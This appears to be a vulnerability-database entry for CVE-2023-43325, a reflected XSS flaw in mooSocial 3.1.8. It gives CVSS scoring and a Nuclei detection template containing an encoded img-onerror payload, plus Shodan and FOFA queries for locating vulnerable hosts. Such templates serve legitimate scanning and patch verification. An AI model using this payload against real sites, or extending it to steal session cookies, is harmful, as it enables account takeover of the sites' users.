MooSocial 3.1.8 - Cross-Site Scripting

2023-11-2311:30:47

ProjectDiscovery

github.com

vulnerability

cookie theft

impersonation

crafted url

moosocial

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.304

Percentile

97.0%

JSON

A reflected cross-site scripting (XSS) vulnerability exisits in the data[redirect_url] parameter on user login function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.

id: CVE-2023-43325

info:
  name: MooSocial 3.1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exisits in the data[redirect_url] parameter on user login function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
  reference:
    - https://github.com/ahrixia/CVE-2023-43325
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43325
    - https://moosocial.com/
    - https://travel.moosocial.com/
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-43325
    cwe-id: CWE-79
    epss-score: 0.18316
    epss-percentile: 0.96187
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query: http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve2023,cve,xss,moosocial

http:
  - method: GET
    path:
      - "{{BaseURL}}/users/test%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3Etest"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooSocial")'
        condition: and
# digest: 4a0a00473045022100b6d31b975d49d517924b62d996e9139c8afb6b35784a456bd830be0c53d4906e02200cc68e9cba608c058b0ffac9e1e7f36534ab2efa005af111f87169ebc1b9bff1:922c64590222798bb761d5b6d8e72950